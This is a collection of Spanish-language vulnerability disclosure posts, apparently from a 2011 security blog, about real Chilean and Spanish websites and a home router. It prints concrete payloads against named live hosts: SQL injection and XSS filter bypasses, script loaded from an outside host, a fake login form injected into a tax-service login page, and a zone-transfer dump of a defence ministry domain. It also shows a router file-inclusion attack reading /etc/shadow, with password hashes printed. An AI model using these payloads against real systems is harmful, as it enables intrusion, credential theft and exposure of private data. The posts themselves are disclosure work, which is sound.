Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), que permite asignar pagos automaticos a terceras personas, sin previa confirmación. De esta forma, Juanito Perez, puede asignar el pago automatico de la cuenta de luz, agua, movil u otro a Pedrito, sin su autorización.

Varias personas se contactaron conmigo y me comentaban que habian enviado un reclamo a su ejecutivo de cuentas, para tener una respuesta formal y seria respecto a estas vulnerabilidades reportadas. Una de ella me llamo la atención, corresponde a @Van_ultraviolet, que le respondieron:

• Es una persona que necesita mucha atención, por eso hace esto.
• Cualquier persona puede acceder al código fuente.
• Revisamos las alertas del pseudo-hacker y no son reales.

Pueden ver a respuesta completa aca: http://twitter.theinfo.org/152376559511142400

Considero que esto es impresentable y que la persona que entregó esa respuesta debería pensar seriamente en dejar de ejercer su profesión.

Por otro lado, una de las empresas responsables se contactó conmigo y hemos creado un canal de comunicación para el reporte de vulnerabilidades. Ellos admitieron el fallo del Source Code Disclosure y tambien la vulnerabilidad PAT/PAC, indicando que ya está corregida en su entorno de desarrollo, sólo falta ponerla en producción.

El banco no ha respondido publicamente sobre el asunto, el “canal web” y el llamado “Community Manager” que maneja la cuenta de Twitter (@SantanderChile), tampoco se pronuncia al respecto, apesar de las insistentes quejas y reclamos de sus clientes.

Como conclusión, hay 3 empresas involucradas:

1. Santander: La entidad afectada, el Banco.
2. TAISA Chile: Una de las empresas involucrada en el desarrollo del sistema.
3. NEOSECURE: Segun los comentarios del post anterior y segun la información que me llegaba por correo, twitter, etc, es la empresa que ve la “seguridad” del Banco, es decir, es la “empresa lider en seguridad informatica” que audita periodicamente los sistemas del santander, según ellos; Aviso de seguridad Santander.

De estas tres empresas involucradas, la uinca que se ha hecho responsable y ha dado la cara, es TAISA, quien ha reaccionado bastante bien, agradecida y con ganas de crear un canal de comunicación para este tipo de incidentes. Ademas, han reaccionado bastante rapido despues de que se hizo la publicación.

Ustedes juzguen.

Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza la usabilidad por sobre la seguridad. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los usuarios son unos tontos unos niños ingenuos, y que por no hacerlos pensar “donde hacer click” le dan todo en bandeja pasando por alto las normas de seguridad. Es por esto que escribiré sobre como la usabilidad pasa por encima de la seguridad.

Como ejemplo, tomaré el caso del Banco Santander y analizaré como una función para hacerle el trabajo más fácil al usuario puede atentar contra la seguridad del mismo usuario. Para muchos podría ser algo básico, pero si lo ven como si fueran un usuario “normal“, se darán cuenta que realmente es un riesgo y que al usuario le podría pasar perfectamente.

Esta es la pantalla de inicio de sesión que vemos al ingresar a www.santander.cl.

Lo normal sería que al ingresar al portal del banco, el usuario hiciera click en el campo “rut” para ingresar su número de identificación, luego ingresara el password y finalmente presione enviar. Pero, ¿cual es la mejora de usabilidad que implementó Santander?

Cuando ingresamos al sitio web, el usuario sin situarse sobre el formulario de inicio de sesión, el cursor ya está en el formulario, el usuario lo único que debe hacer es ingresar su rut.

El problema es que esa función donde se situa el cursor sobre el formulario se ejecuta al terminar de cargar el sitio, si el usuario ingresa su número de identidad y luego comienza a escribir el password, cuando el sitio termine de cargar el puntero será cambiado al campo “rut”, que no está protegido por “*” y queda registrado en el historial, cuando el usuario sin darse cuenta presione “Iniciar sesión”, el sistema le enviará un mensaje de que la password o usuario son incorrectos, lo único que hará el usuario es volver a introducir los valores e iniciar sesión sin problemas, sin darse cuenta que su password pudo haber sido almacenada en el historial.

Es un poco rebuscado el problema, pero existe. Me ha pasado que mi internet va lento o que el servidor del banco responde lentísimo, entonces ingreso al portal y hago todo muy rapido, ingreso mi RUT y cuando presiono enviar me doi cuenta que la password la escribí en el campo desprotegido “rut”.

¿Qué es mejor, que el usuario tenga que mover un poco el mouse y hacer un par de clicks más, o dejar abierta la remota posibilidad que su password quede almacenada en un historial sin percatarse?

Yo creo que 1 de cada 100 personas podría caer en este error, yo mismo he leído y escuchado a algunas personas quejarse por esto mismo, al menos se que no soy el único que lo piensa

La vulnerabilidad se encuentra en el archivo disco.php mediante la variable id. Es posible generar un error facilmente ingresando una comilla simple (‘):

Hasta el momento el “filtro” escapa el la comilla y anteponiendo un backslash (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando ‘+or 1=+ union+select+database(),user()+–+ y obtenemos como resultado “Error select * from disco where id=3342\’ 1= (),() –”

Efectivamente el “filtro” está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <em>prueba</em>, obtenemos Error select * from disco where id=3342<></>

Bien, ahora nos saltaremos los filtros que nos han puesto…

¿Piensas que es muy complicado?

Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo único que tenemos que hacer es escribir con mayúsculas.
Como prueba de concepto usaremos el siguiente link:

http://musica.cooperativa.cl/disco.php?id=3342<STRONG>HOLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!</STRONG>

Mira lo que obtenemos:

Para realizar la típica prueba de concepto, usando la función alert() de JavaScript tendremos un problema, ya que al escribir “ALERT” (con mayúsculas), no encontrará ninguna función con ese nombre … Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <SCRIPT> con el atributo SRC y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script “POC.JS” que contiene “alert(‘Prueba de concepto XSS’)” (sì, con minúsculas), entonces llamamos al script de la siguiente forma:

<SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS></SCRIPT>

Y obtenemos lo siguiente:

Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.

Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+–+, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:

Ahora lo único que nos queda es empezar a jugar y encontrar la cantidad de columnas para poder extraer información de la base de datos.

Un ataque más sofisticado …

Este sitio corresponde a un lugar para descargar/comprar música “legalmente”, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien … Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a “Descargar musica a $1 (un peso)”, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice “Ha ocurrido un error inesperado. Intente mas tarde“, pero por debajo, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.

La vulnerabilidad fue reportada

imagen: http://getglue.com/topics/p/dns_zone_transfer

Las transferencias de zona se realizan mediante AXFR, que según su descripción:

Las siglas AXFR hace referencia a la transferencia por zonas de un DNS primario a un DNS secundario o de un DNS primario a un server maestro y de un server maestro a un DNS secundario, si llegara a existir algún problema de configuración o actualización del software de cualquiera de estos servidores se podrían explotar una serie de vulnerabilidades como por ejemplo un DoS y la integridad y confidencialidad de la base de datos del DNS primario se verían comprometidas, se estima que alrededor de un 60% de los servidores DNS en internet son vulnerables.

(Fuente: http://es.wikipedia.org/wiki/AXFR)

Tambien exsite la transferencia de zona incremental (IXFR).

Esta técnica es muy útil cuando realizamos un pentesting ya que nos puede entregar información sobre los subdominios, especialmente si encontramos un dominio relacionado con “testing”, “devel”, o algo relacionado, ya que podriamos acceder a sistemas que se encuentren en desarrollo, que a diferencia con los que se encuentran en producción, suelen tener menos restricciones y son más faciles de explotar.

Como ejemplo, vamos a tomar el dominio “defensa.gob.es” y vamos a consultar si alguno de sus dns tiene habilitada la transferencia de zona.

Los DNS asociados a ese dominio son:

1. ns01.mde.es
2. ns02.mde.es
3. ns03.mde.es

Probando uno por uno solo el ns02 es vulnerable:

Trying Zone Transfer from ns01.mde.es: Failed.
Trying Zone Transfer from ns02.mde.es: Success.
Trying Zone Transfer from ns03.mde.es: Failed

Entonces obtenemos la zona:

; < <>> DiG 9.8.0-P4 < <>> AXFR defensa.gob.es @ns02.mde.es
;; global options: +cmd
defensa.gob.es.		180	IN	SOA	ns01.mde.es. dnsadm.mde.es. 2011061802 180 60 4320000 180
defensa.gob.es.		180	IN	NS	ns01.mde.es.
defensa.gob.es.		180	IN	NS	ns02.mde.es.
defensa.gob.es.		180	IN	NS	ns03.mde.es.
defensa.gob.es.		600	IN	A	193.33.2.129
e-admin.defensa.gob.es.	600	IN	CNAME	e-admin.mde.es.
ns01.defensa.gob.es.	600	IN	A	193.33.2.99
ns02.defensa.gob.es.	600	IN	A	193.33.2.100
ns03.defensa.gob.es.	600	IN	A	193.33.3.99
sede.defensa.gob.es.	600	IN	A	193.33.2.137
procedimientos.sede.defensa.gob.es. 600	IN A	193.33.2.138
www.defensa.gob.es.	600	IN	CNAME	defensa.gob.es.
defensa.gob.es.		180	IN	SOA	ns01.mde.es. dnsadm.mde.es. 2011061802 180 60 4320000 180
;; Query time: 244 msec
;; SERVER: 193.33.2.100#53(193.33.2.100)
;; XFR size: 13 records (messages 1, bytes 351)

Y solo por probar, intentamos hacer transferencia de zona de “mde.es” usando el mismo nameserver:

; < <>> DiG 9.8.0-P4 < <>> AXFR mde.es @ns02.mde.es
;; global options: +cmd
mde.es.			3600	IN	SOA	ns01.mde.es. dnsadm.mde.es. 2011071502 180 60 4320000 180
mde.es.			600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
mde.es.			3600	IN	NS	ns01.mde.es.
mde.es.			3600	IN	NS	ns02.mde.es.
mde.es.			3600	IN	NS	ns03.mde.es.
mde.es.			600	IN	MX	10 smtp01.mde.es.
mde.es.			600	IN	MX	10 smtp02.mde.es.
mde.es.			600	IN	A	193.33.2.129
www.aire.mde.es.	600	IN	CNAME	www.ejercitodelaire.mde.es.
www.armada.mde.es.	600	IN	A	193.33.2.129
autodiscover.mde.es.	600	IN	CNAME	pdagw.mde.es.
campusvirtual.mde.es.	600	IN	A	193.33.2.140
cvcdef.mde.es.		600	IN	A	193.33.2.135
e-admin.mde.es.		600	IN	A	193.33.2.133
e-admin1.mde.es.	600	IN	A	193.33.2.134
ea.mde.es.		600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
ea.mde.es.		600	IN	MX	10 smtp01.mde.es.
ea.mde.es.		600	IN	MX	10 smtp02.mde.es.
autodiscover.ea.mde.es.	600	IN	CNAME	autodiscover.mde.es.
www.ea.mde.es.		600	IN	CNAME	www.ejercitodelaire.mde.es.
opencms.ejercito.mde.es. 600	IN	CNAME	web.mde.es.
www.ejercito.mde.es.	600	IN	CNAME	web.mde.es.
www.ejercito-aire.mde.es. 600	IN	CNAME	www.ejercitodelaire.mde.es.
www.ejercito-del-aire.mde.es. 600 IN	CNAME	www.ejercitodelaire.mde.es.
www.ejercitoaire.mde.es. 600	IN	CNAME	www.ejercitodelaire.mde.es.
www.ejercitodelaire.mde.es. 600	IN	CNAME	web.mde.es.
et.mde.es.		600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
et.mde.es.		600	IN	MX	10 smtp01.mde.es.
et.mde.es.		600	IN	MX	10 smtp02.mde.es.
autodiscover.et.mde.es.	600	IN	CNAME	autodiscover.mde.es.
extm.mde.es.		600	IN	MX	10 extm.mde.es.
extm.mde.es.		600	IN	A	193.33.2.132
extranet.mde.es.	600	IN	A	193.33.2.33
fn.mde.es.		600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
fn.mde.es.		600	IN	MX	10 smtp01.mde.es.
fn.mde.es.		600	IN	MX	10 smtp02.mde.es.
autodiscover.fn.mde.es.	600	IN	CNAME	autodiscover.mde.es.
tiknet.g2b.mde.es.	600	IN	A	193.33.2.136
www.invied.mde.es.	600	IN	CNAME	web.mde.es.
localhost.mde.es.	600	IN	A	127.0.0.1
ns01.mde.es.		600	IN	A	193.33.2.99
ns02.mde.es.		600	IN	A	193.33.2.100
ns03.mde.es.		600	IN	A	193.33.3.99
oc.mde.es.		600	IN	TXT	"v=spf1 a:smtp10.mde.es. a:smtp03.mde.es. ~all"
oc.mde.es.		600	IN	MX	10 smtp01.mde.es.
oc.mde.es.		600	IN	MX	10 smtp02.mde.es.
autodiscover.oc.mde.es.	600	IN	CNAME	autodiscover.mde.es.
pdagw.mde.es.		600	IN	A	193.33.2.145
portalcultura.mde.es.	600	IN	CNAME	mde.es.
www.portalcultura.mde.es. 600	IN	CNAME	web.mde.es.
www.rmo.mde.es.		600	IN	CNAME	web.mde.es.
servicios.mde.es.	600	IN	A	193.33.2.44
sscc.sigeloc.mde.es.	600	IN	A	80.26.76.36
smtp.mde.es.		600	IN	CNAME	smtp01.mde.es.
smtp01.mde.es.		600	IN	A	193.33.2.97
smtp02.mde.es.		600	IN	A	193.33.2.98
smtp03.mde.es.		600	IN	A	193.33.3.97
smtp10.mde.es.		600	IN	A	193.33.2.102
smtp11.mde.es.		600	IN	A	193.33.3.102
www.ume.mde.es.		600	IN	CNAME	web.mde.es.
wap.mde.es.		600	IN	CNAME	mde.es.
web.mde.es.		600	IN	A	193.33.2.129
working.mde.es.		600	IN	CNAME	web.mde.es.
www.mde.es.		600	IN	CNAME	mde.es.
wwwr.mde.es.		600	IN	A	193.33.3.129
mde.es.			3600	IN	SOA	ns01.mde.es. dnsadm.mde.es. 2011071502 180 60 4320000 180
;; Query time: 246 msec
;; SERVER: 193.33.2.100#53(193.33.2.100)
;; XFR size: 66 records (messages 1, bytes 1713)

En algunos casos nos encontramos con la sorpresa de que existen subdominios que apuntan a direcciones IP locales, por ejemplo “devel.dominio.com -> 10.0.0.55″ pero sabemos (o creemos saber) que justo ese subdominio comparte alojamiento con sitios que estan en produccion, por ejemplo “dominio.com -> alguna.ip.publica.xxx”, basta con que forcemos que localmente nos resuelva “devel.dominio.com” a esa IP publica y logramos entrar a una zona supuestamente de acceso local.

Prontus es un administrador de contenidos web flexible, fácil de usar, robusto y eficiente, con una trayectoria de más de 12 años en el mercado y utilizado por cientos de clientes que lo han aplicado en sus portales corporativos, servicios editoriales y sitios web transaccionales.

Este CMS tiene una vulnerabilidad Cross-Site Scripting que afecta a la mayoría de sus clientes.
Cuando vas a desarrollar un CMS y esperar que muchos usuarios/clientes lo usen, hay que tener cuidado con la seguridad ya que cualquier fallo (bug) o vulnerabilidad puede afectar a todos los que lo utilizan.

Entre los sitios afectados por esta vulnerabilidad estan el sitio web del Senado de la República de Chile, y Fonasa, entre otros.

La vulnerabilidad afecta a todos los sitios creados con Prontus CMS que tengan activo/habilitado el archivo html “antialone.html”

En este archivo encontramos el siguiente codigo javascript:

if (makefs) {
    var ULT_LINK = new Array(); // Usado para volver a portada.
    page = page + '?' + Math.random();
    document.write('<frameset rows="122,1*" frameborder="NO" border="0" framespacing="0">');
    document.write('  <frame name="head" scrolling="NO" noresize src="/prontus_senado/site/edic/base/port/head.html" marginwidth="0" marginheight="0" frameborder="NO">');
    document.write('  <frame name="cont" src="' + page + '" marginwidth="0" marginheight="0">');
    document.write('</frameset>');
  };

Si se fijan, en la linea 6 crea un frame con src=page, y en la linea 3 page=page+?+Math.random(). Por lo tanto, si le pasamos la variable “page” por url con el contenido “javsript:algo…” el navegador lo debería interpretar.

El problema es que en la línea 3 le agrega “?numero aleatorio”, por lo que si le pasamos el valor “javascript:alert(1)” lo que cargara el frame será “javascript:alert(1)?45454554.0″ lo que provocará un error de sintaxis y el navegador no hará nada.
Como el sistema no filtra ni escapa caracteres, lo que debemos hacer es hacer que todo lo que esté despues de lo que le queremos inyectar, sea un comentario, es decir: //.

No podemos poner directamente la url “http://www.algo.com” ya que en otro lado del javscript aparece un tipo de filtro que si encuentra “://” nos manda a la raíz del sitio:

 if (page.indexOf('://') >= 0) {
    if (page.indexOf(window.location.protocol + '//' + document.domain + '/') != 0) {
      makefs = false;
      document.location.pathname = '/';
    };
  };

Para explotar la vulnerabilidad usaré “javascript:alert(/XSS/);//“, de esta forma el valor de la variable page será “javascript:alert(/XSS/);//?45454554.0” dejando lo último como comentario.

Pruebas de Concepto:

Sitio web del Senado

Sitio web del Fondo Nacional de Salud (FONASA)

Universidad Catolica de Valparaiso

Los sitios afectados son:

http://www.mercuriovalpo.cl
http://www.estrellaiquique.cl
http://www.australvaldivia.cl
http://www.ucv.cl
http://www.estrellavalpo.cl
http://www.senador.cl
http://www.diariollanquihue.cl
http://www.lidersanantonio.cl
http://www.australtemuco.cl
http://www.diariolaestrella.cl
http://www.estrellaloa.cl
http://www.estrellaarica.cl
http://www.laestrellachiloe.cl
http://www.australlosrios.cl
http://mercuriocalama.cl
http://www.australosorno.cl
http://www.diarioatacama.cl
http://www.diarioaustral.cl
http://www.renacerdeangol.cl
http://www.fonasa.cl
http://www.mercurioantofagasta.cl
http://www.prensatocopilla.cl
http://www.ellanquihue.cl
http://www.elaustral.cl
http://www.hernanlarrain.cl
http://www.estrellanorte.cl

No se descarta que existan más sitios afectados.

Actualizado (12 de Julio del 2011):
La vulnerabilidad fue reportada y se está solucionando. Se informó que corresponde a una version antigua del sistema y que los clientes o usuarios afectados son quienes no han actualizado la version.

El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.

Si bien CLCERT es una “organización” que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios web con vulnerabilidades tan basicas.
Esta organización da cursos y diplomados relacionados a la “Seguridad Computacional” o como la mayoría los conoce “Cursos de Seguridad Informática” o simplemente “Cursos de Seguridad”. Todas las personas que han pasado por estos cursos se pueden ver en la URL http://capacita.clcert.cl/dir/ la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.

La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable “apellido”, “id” y “fecha” del archivo index.php. Y la XSS se produce a partir de esta misma.

Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url

Deducimos que podemos inyectar código sql mediante la variable “apellido“.

Proof-of-Concept

1. SQL Injection

Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter ” ‘ ” al valor de la variable mediante la URL http://capacita.clcert.cl/dir/?apellido=%27 y obtenemos el error esperado con la información deseada:

Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones user() y version() propias del MySQL.

Obteniendo en los campos correspondientes la información solicitada

Con este simple sql injection ya tenemos información relevante. Usuario “diplomado” y version 4.1.22 del mysql.

2. Cross-Site Scripting

Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos “‘ esta es una prueba” veremos lo siguiente:

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘esta es una prueba%’‘ at line 1Executed query: select apellidos, nombres, fecha , id from users where apellidos like ” esta es una prueba%’

Por lo tanto, si en lugar de “esta es una prueba” ingresamos un codigo javascript, será ejecutado:

Es increible como las organizaciones que “luchan” por la seguridad son inseguras. Errores tan basicos, tan simples … Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.

La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio.

Links

Reporte XSS en Secureless
Reporte SQL-Injection en Secureless

El bug esta en no filtrar los parametros de entrada cuando se muestra el error 404 de una pagina inexistente, por ejemplo: http://www.emol.com/pagina_no_existe

Mostrara el mensaje

Si cambiamos “pagina_no_existe” por “prueba_de_concepto”
(http://www.emol.com/prueba_de_concepto) mostrará

Asi mismo, si insertamos codigo HTML o JavaScript, este sera ejecutado.

La prueba de concepto que he hecho es:
http://www.emol.com/%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%58%53%53%2f%29%3c%2f%73%63%72%69%70%74%3e

La única restricción es que tenemos un límite de caracteres, creo que son 35 caracteres que podemos “inyectar”,
para explotarla debemos ser muy ingeniosos. Al ingresar mas de 35 caracteres, por ejemplo la URL
http://www.emol.com/123456789123456789123456789123456789 (36 caracteres) el mensaje mostrado es:

Entonces el codigo queda truncado. Si pensamos en meter un codigo javascript hay que pensar que tan solo escribiendo “<script></script>” tenemos 17 caracteres, por lo que solo nos quedarán 18 caracteres libres para poder escribir el código. Habría que probar otras técnicas como incluir un JS remoto (con src=) o bien usando el tag “style” para ahorrarnos 3 caracteres.

La vulnerabilidad fue reportada el 13 de Junio del 2011 y corregida el mismo día. Excelente tiempo de respuesta. Reportada vía email y en secureless.

EDITADO (30 de Junio)
En un comentario de un post anterior, ar4b14n ha reportado otro XSS en el sitio de EMOL. Tambien se ha agregado a secureless y se ha informado para que se solucione.

Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario.

Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en el cliente.

La URL vulnerable es https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html que al agregarle al final “?http://alguna_url“, el usuario luego de iniciar sesión será redirigido hacia esa URL. Por ejemplo:

https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com

Luego de ingresar, seremos redirigidos a Google.

Tambien puede ser un javascript, por ejemplo mostrando las cookies de sesión:

O por ejemplo, usar javascript para dibujar un formulario que haga POST a un sitio remoto, capturando la información:

https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;

Abusando de la confianza que tiene el usuario sobre el sitio, con certificado SSL válido. De esta forma es posible obtener información confidencial de los usuarios, de forma transparente.

Nuevamente los sistemas informáticos dejan mucho que desear. Esta vulnerabilidad fue reportada la semana pasada mediante el formulario de contacto (el único medio disponible) pero no se obtuvo respuesta.

Secureless nace simplemente de la necesidad de investigar y aprender aun mas sobre este tipo de vulnerabilidades y seguridad en la web. Aunque a muchos no les parezca lo correcto, con el tiempo nos hemos dado cuenta que las fallas se corrigen mucho mas rapido cuando son publicadas y creemos que de esta forma podemos ayudar a que los sitios sean más seguros.

Lo que buscamos en esta version es explorar un poco más en el mundo de la (in) seguridad en aplicaciones web. En esta primera version agregamos la posibilidad de que la gente pueda reportarnos mediante un mensaje cifrado sitios vulnerables y de esta forma poder contribuir de forma “segura” a este proyecto, aunque la mayoría (99%) de los sitios publicados son producto de nuestra propia invesgitacion, agradecemos a quienes nos apoyan y nos envian información al respecto.

Como primera anecdota, tuvimos el caso de NIC Chile quien fue notificado al mismo tiempo de publicar la vulnerabilidad en Secureless, quienes resolvieron el problema en menos de 20 minutos. La vulnerabilidad que afectaba a NIC Chile era de tipo XSS en uno de sus scripts cgi.

Ya estamos planificando noches de “hacking” para dedicarnos a seguir publicando sitios importantes con fallas de seguridad.

Links:

- Twitter @secureless

- Secureless.org

Las vulnerabilidades que he encontrado son:

Cross-Site Scripting: http://router.internal.ip:port/cgi-bin/webproc?getpage=%3Cscript%3Ealert%28this%29%3C/script%3E&var:menu=advanced&var:page=dns

Local File Include and Directory/Path Traversal: http://router.internal.ip:port/cgi-bin/webproc?getpage=../../../../../../../../../../../../etc/passwd&var:menu=advanced&var:page=dns

Para poder explotar estas vulnerabilidades no es necesario estar autenticado.

Informacion del dispositivo:

HardwareVersion :	HG110_BH_R1A
SoftwareVersion :	HG110_BH_V1.6
Firmware Version :	1.0.0

No descarto que estas mismas (y otras) vulnerabilidades puedan afectar a otros modelos del mismo fabricante.

ACTUIALIZADO El httpd se ejecuta como “root” (mini_httpd) por lo que es posible acceder, mediante LFI, a archivos con esos privilegios.

$ wget -o /dev/null -O – “http://192.168.1.1:8000/cgi-bin
/webproc?getpage=../../../../../../../../../../../../etc/shadow&
var:menu=advanced&var:page=dns”

#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::

root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::

#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::

#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::

~ $ ps ax|grep httpd

509 root 4212 SW /usr/sbin/mini_httpd -d /usr/www -c
/cgi-bin/* -u roo

~ $

La vulnerabilidades encontradas fueron del tipo “descubrimiento de informacion” que nos permitieron descubrir el path, el usuario de sistema, usuario de base de datos, nombre de la base de datos, nombres de las tablas, etc. Por otro lado, encontramos tambien script y formularios vulnerables a XSS.
Las vulnerabilidades fueron corregidas 1 dia despues de haber sido reportadas.
Las URLs afectadas son:

- http://www.eset-la.com/centro-amenazas/article.php
- http://www.eset-la.com/company/article.php
- http://www.eset-la.com/rss/podcasts
- http://www.eset-la.com/centro-amenazas/descarga/compania/cool_stuff.php
- http://www.eset-la.com/xtrasappz/ajax/events.ajax.php
- https://ps.eset-la.com/forms/prospectos.php
- https://ps.eset-la.com/forms/numeros_serie_registracion.php

Estas dos ultimas con https.

Los errores o warnings no estan deshabilitados en el servidor que publico. Se pueden apreciar errores que permiten descubrir el full-path de la aplicacion:

http://www.eset-la.com/centro-amenazas/article.php?contentID[]=aa
o
http://www.eset-la.com/company/article.php?contentID[\]=1379

Los scripts que permitian Cross-Site Scripting:

- https://ps.eset-la.com/forms/prospectos.php?promocode=tt%3C/script%3E%3Cbody%20onload=javascript:alert%28document.cookie%29%3E

- https://ps.eset-la.com/forms/prospectos.php?promocode=6969%22%3E%3Ciframe%20src=http://www.google.com.mx%3E&css=%22%3Eaa

Permitian inyectar codigo mediante la variable “promocode” y mediante la variable “css” era posible decirle al sitio que su archivo de hoja de estilo lo fuera a buscar a una URL externa, de esta forma se pasaria cualquier tipo de filtro que pudiese tener el sitio, por ejemplo:

- https://ps.eset-la.com/forms/numeros_serie_registracion.php?lang=es&css=http://remote.host/devel/poc.css?ps.eset-la.com

En nuestro “poc.css” remoto podriamos tener codigo css que incluya instrucciones javascript.
Todos los que pertenecen al subdominio “ps” usan la confianza del usuario en el sitio, ya que tiene un certificado SSL valido, el cual el usuario podria perfectamente confiar en una URL maliciosa.

Timeline:

- Descubiertas: 2 de Abril del 2011
- Reportadas: 6 de Abril del 2011
- Solucionadas: 7 de Abril del 2011

Las URL vulnerables corresponden al buscador de terra: buscador.terra.cl; al sitio de “seguridad”: seguridad.terra.cl; sitio web mobil:m.terra.cl; sitio web principal:www.terra.cl;y un sub-portal: acaballo.terra.cl

Timeline
* 25/Diciembre/2010: Se encuentran las vulnerabilidades.
* 27/Diciembre/2010: Se reportan.
* 28/Diciembre/2010: No se obtiene respuesta. Se publican.

La primera vulnerabilidad corresponde a un XSS encontrado en el buscador:

La pagina “Default.aspx” no está validando ni filtrando los datos pasados por la variable “query”.

La segunda vulnerabilidad tambien corresponde a XSS, pero afecta al sitio seguridad.terra.cl:

Tambien corresponde a un script asp que no valida ni filtra el valor de la variable “Pagina”, pudiendo inyectar código html o javascript

La tercera vulnerabilidad es una del tipo “Full Path Disclosure“; nos permite ver la ruta absoluta donde está la aplicación. Esta vulnerabilidad es bastante particular, ya que no he podido reproducirla en ningun otro script del mismo sitio. La URL http://www.terra.cl/deportes/index.cfm?accion=futbolnacional&id_reg=1518438 muestra una noticia o información correspondiente al id 1518438, sin embargo, si le agregamos dos puntos (..) al final de la URL, podemos ver un error que nos muestra la información:

Se pueden ver los dos puntos al final de la URL, lo que nos muestra el siguiente mensaje:

La cuarta vulnerabilidad es una SQL-Injection, afecta sl subdominio acaballo.terra.cl, especificamente a la URL http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460. Podemos hacer que se queje si agregamos la tipica comilla (‘) al final de la URL

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php on line 274

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php on line 275

O bien manejar la query para que nos devuelva verdadero y no muestre error, por ejemplo:

http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460%20OR%201=1;%20–

Ademas de poder inyectar SQL, nos revela información del path absoluto.

La quinta y última vulnerabilidad nos permite redireccionar al usuario a cualquier sitio fuera de terra.cl, la url vulnerable es http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&pais=CL&urlRetorno=

Si a la variable urlRetorno se le pasa un valor de una URL cifrado en base64, el usuario será redireccionado a ese sitio. Por ejemplo, si ciframos http://www.google.cl en base64, quedaría aHR0cDovL3d3dy5nb29nbGUuY2w=, si ingresamos a la URL completa:

